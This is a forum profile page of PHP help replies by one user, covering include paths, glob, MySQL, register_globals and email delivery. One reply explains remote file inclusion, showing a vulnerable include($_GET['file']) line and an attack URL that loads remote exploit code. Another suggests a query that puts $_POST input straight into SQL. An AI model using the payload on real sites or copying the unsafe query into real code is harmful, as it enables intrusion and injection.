premiso
Members-
Posts
6,951 -
Joined
-
Last visited
-
Days Won
2
Everything posted by premiso
-
Do you just not like to read or implement what people suggest? This is the same exact question you posted earlier in a separate thread and the answer is the same as it was in this thread: http://www.phpfreaks.com/forums/index.php/topic,249827.msg1170902.html#msg1170902 Looking at the code you posted here, you did not even bother to attempt to modify your script to work when REGISTER_GLOBALS is turned off as suggested.
-
No, I do not think so. Hotlinking is different than displaying a copyright notice on a website. Hotlinking the images are on your server and people are just linking to them leeching your server's bandwidth. That is actually preventable because the code stays on your server. Where as this copyright, the source files have to be on the clients server, so in essence they have full control of the script by modifying the code on their server.
-
preg_replace as he wants a specific, but unknown number of item(s), which I doubt str_replace would suffice for his need.
-
You just have to hide it in your code or encrypt your code (not worth effort). Most of the time it is fruitless as a search through files can find the code that insert's the warning or copyright. Even implementing a check to see if the copyright is intact will be easy to thwart. I know you are going to think it is worth your efforts, so all I can say is that your best bet is to write the copyright as part of a base64 encryption and store it in your script, then return the decrypted version where you want to echo it out, and put it in an "inconspicuous" spot where someone will glance over it. This will thwart most users, but any capable programmer can figure it out in time and remove it. Encrypting the code would be the safest bet that someone does not just remove the copyright, but a last I believe that output buffering would allow for anyone to replace it as it will show up like it was not changed. Unless someone else knows a better way, that is the best I have.
-
Ok, take a step back and what do you want, as I do not think you know. You want to count the directories but now you want it to pull out file names? You are contradicting yourself. <?php $dir = "modules/"; $dirCount = count(glob($dir, GLOB_ONLYDIR)); echo "Number of directories under {$dir} is {$dirCount}<br />"; foreach (glob($dir . "*") as $filename) { echo $filename . "<br />"; } ?> So if that is not what you want, what exactly do you want? As I took it from this: Tells me that the above code I just posted solves your problem...
-
Nice I must have never noticed that before. That will be good to use when installing 3rd party scripts, that I do not know if they filter out includes or not
-
Aside from a password being found out. It could be a script that dynamically includes a file an example: include($_GET['file']); If url_fopen_wrappers are turned on then that allows for someone to inject their own code from a remote website by passing something like this: index.php?file=http://www.mysite.com/exploit.txt And viola, their code gets executed. Which would allow them to create a file to write to other files etc. The gist of it is, you need to look at your code and see if there may be a vulnerability to allow someone to access. To find the offending file you can look at the apache access logs as it will show you each GET Request that was sent and if you see something like the above url being sent via get, someone is probing and or found the vulnerability and it usually can lead to you finding the offending file. The only reason I know this is one of my hosted users had an old version of OS Commerce that and an exploit in it, and this allowed for someone to create a script that used my mail server to send out spam. Luckily they only screwed with OS Commerce so it was as simple as backing up the products and installing the newer version to fix it and deleting the file.
-
From the glob manaul. Add the GLOB_ONLYDIR as the second parameter to your glob to get only directories.
-
In general I have a config.php file that houses all pertinent path information for my script by defining a constant. (This would be in the config.php) define("DIR_MAIN", $_SERVER['DOCUMENT_ROOT']); So in general I always include this "config.php". example of index.php <?php require_once($_SERVER['DOCUMENT_ROOT'] . "/includes/config.php"); include(DIR_MAIN . "/folder2/test2.php"); ?> Example of folder2/test2.php <?php include(DIR_MAIN . "/folder1/test1.php"); ?> Example of folder1/test1.php <?php echo "You have reached test1 from test2.php inside of an index file!"; ?> Folder structure: index.php includes\config.php folder1\test1.php folder2\test2.php Should be what you are looking for.
-
Include locations are relative to the script being executed, not the one being included. Which is why using absolute path's (they can be dynamic using $_SERVER['DOCUMENT_ROOT'] are often the better way to go when including a file. Your issue here is a prime example of why you would want to use absolute paths instead of relative. Meaning that if you are including test2.php inside of index.php any includes in test2.php would have to act like they are coming from the folder that houses index.php if that makes sense.
-
function itemwepname($Type,$ObjectID){ If($Type == 'Item'){ $Table = 'item'; $Field = 'ItemID'; $Collect = mysql_query("SELECT Name,Size FROM $Table WHERE $Field='$ObjectID'") Or die(mysql_error()); }ElseIf($Type == 'Weapon'){ $Table = 'weapons'; $Field = 'WeaponID'; $Collect = mysql_query("SELECT Name FROM $Table WHERE $Field='$ObjectID'") Or die(mysql_error()); } if (mysql_num_rows($Collect) < 1) { return false; } $row = mysql_fetch_assoc($Collect); return ($row); } <?php function itemweprecieve($Type,$ObjectID,$Quantity){ $row = itemwepname($Type,$ObjectID); if (!is_array($row)) { echo "No rows returned.<br />"; // maybe a return false; here as well.... }ElseIf($Type == 'Item'){ bagspace(); $Array = bagspace(); $Free = $Array[0]; If($row['Size']*$Quantity > $Free){ //ERROR IS COMING FROM HERE Echo 'You do not have enough bag space!'; } }
-
Moving to PHP Help, please take note to which forum you are posting in (this is the regex). Reading at substr in the user comments came across: http://us3.php.net/manual/en/function.substr.php#73233 <?php /* An advanced substr but without breaking words in the middle. Comes in 3 flavours, one gets up to length chars as a maximum, the other with length chars as a minimum up to the next word, and the other considers removing final dots, commas and etcteteras for the sake of beauty (hahaha). This functions were posted by me some years ago, in the middle of the ages I had to use them in some corporations incorporated, with the luck to find them in some php not up to date mirrors. These mirrors are rarely being more not up to date till the end of the world... Well, may be am I the only person that finds usef not t bre word in th middl? Than! (ks) This is the calling syntax: snippet(phrase,[max length],[phrase tail]) snippetgreedy(phrase,[max length before next space],[phrase tail]) */ function snippet($text,$length=64,$tail="...") { $text = trim($text); $txtl = strlen($text); if($txtl > $length) { for($i=1;$text[$length-$i]!=" ";$i++) { if($i == $length) { return substr($text,0,$length) . $tail; } } $text = substr($text,0,$length-$i+1) . $tail; } return $text; } // It behaves greedy, gets length characters ore goes for more function snippetgreedy($text,$length=64,$tail="...") { $text = trim($text); if(strlen($text) > $length) { for($i=0;$text[$length+$i]!=" ";$i++) { if(!$text[$length+$i]) { return $text; } } $text = substr($text,0,$length+$i) . $tail; } return $text; } // The same as the snippet but removing latest low punctuation chars, // if they exist (dots and commas). It performs a later suffixal trim of spaces function snippetwop($text,$length=64,$tail="...") { $text = trim($text); $txtl = strlen($text); if($txtl > $length) { for($i=1;$text[$length-$i]!=" ";$i++) { if($i == $length) { return substr($text,0,$length) . $tail; } } for(;$text[$length-$i]=="," || $text[$length-$i]=="." || $text[$length-$i]==" ";$i++) {;} $text = substr($text,0,$length-$i+1) . $tail; } return $text; } /* echo(snippet("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>"); echo(snippetwop("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea") . "<br>"); echo(snippetgreedy("this is not too long to run on the column on the left, perhaps, or perhaps yes, no idea")); */ ?>
-
If you have gmail hosted, and do not plan to send a ton (over 400 emails a day) you can use phpGMailer. If you plan on sending less than 100 emails you can just sign up for a regular GMail account as they allow upto 100 emails a day, you could also signup for multiple accounts just for this and then alternate on emails so if hosted you could be able to send 1,000 a day or non-hosted send 200 a day etc. Whether that is kosher with GMail I have no clue (the hosted I know is fine cause I do it with the hosted).
-
I guess my reply was for only part of his question: For the other part's it is simply using curl and probably preg_match to find the data to construct a description and title etc.
-
Well here is the question, are you sure that a row was returned for the query? A query can return 0 rows. Perhaps add a mysql_num_rows check inside the function and echo it out to see. As 0 rows is valid and not considered an error. And if 0 rows are returned, perhaps return false, and if the return value is false, continue the loop, since no processing can be done.
-
http://www.phpclasses.org/browse/package/918.html Google Hypersnap for the software needed, although the above script should explain that.
-
Then the answer is you need to pull size from your elseif query. Change the elseif query: ElseIf($Type == 'Weapon'){ $Table = 'weapons'; $Field = 'WeaponID'; $Collect = mysql_query("SELECT Name FROM $Table WHERE $Field='$ObjectID'") Or die(mysql_error()); } To be this: ElseIf($Type == 'Weapon'){ $Table = 'weapons'; $Field = 'WeaponID'; $Collect = mysql_query("SELECT Size,Name FROM $Table WHERE $Field='$ObjectID'") Or die(mysql_error()); } As you were not pulling Size from that query before, hence if it ever hit that elseif your loop would not see Size as being populated because you omitted from being returned in that SQL. If, however, you do not want size returned if it is a weapon, than you want to use the isset, as you can have Size returned if the first if is true, and you can have it not returned if it hits the elseif. The simple isset solves this issue that if Size was not returned, due to the function going into the elseif, then it will not throw an error.
-
Don't forget the ending " $result = mysql_query( "SELECT * FROM category.catname WHERE catname='{$_POST['category']}'" );
-
If(isset($row['Size']) && $row['Size']*$Quantity > $Free){ //ERROR IS COMING FROM HERE Should solve the issue. What is going on is if your function hits the ElseIf, no Size is returned, so in essence you are setting yourself up for a failure. Adding that to the IF would prevent this error message.
-
[SOLVED] Only partial record displaying please help
premiso replied to geroid's topic in PHP Coding Help
It may be wise to create a new topic for this, and post any error messages you are getting from that and or describe "How" it is not working. Also some code around it may be relevant, if an IF statement is used before it that IF may never be getting acted upon. And for future please us tags around code. Thanks. -
Google, "PHP Simple Search" It should pull up plenty of tutorials.
-
You can try adding more headers to the email and see if that fixes it. But chances are the server you are sending the mail from (the IP) does not have a valid MX record associated with it. Without a valid MX record, Yahoo, Hotmail and AOL plus others will automatically filter the email as SPAM. GMail does not yet do this. You can contact your host about the issue, and they may be able to provide some assistance on how to resolve it for their host (if it is indeed not the above issue). Even if it is, they may be able to change a setting to fix it.
-
Switch Decimal place using decimal numbers.
premiso replied to jason97673's topic in PHP Coding Help
You should be jerk. It took us a long time to work out how to do this and you just over "simplify" it because you are testing a new version... :'( You should be ashamed of yourself. -
Your version of PHP has register_globals turned on, his has them off. You should use the superglobals ($_GET['user'] or $_POST['user']) instead of $user to grab information submitted from a form. This is why you use those, cause register_globals should be turned off for security reasons and it is being depreciated in PHP 6. I thought that you were told to do this in another thread. Seems like you disregard important information very easily.
-
Does your friends computer have the same database? Does it have the same version of PHP? Perhaps posting some of the errors would help. My bet is you did not re-create the database on his computer like you would need to for this to work.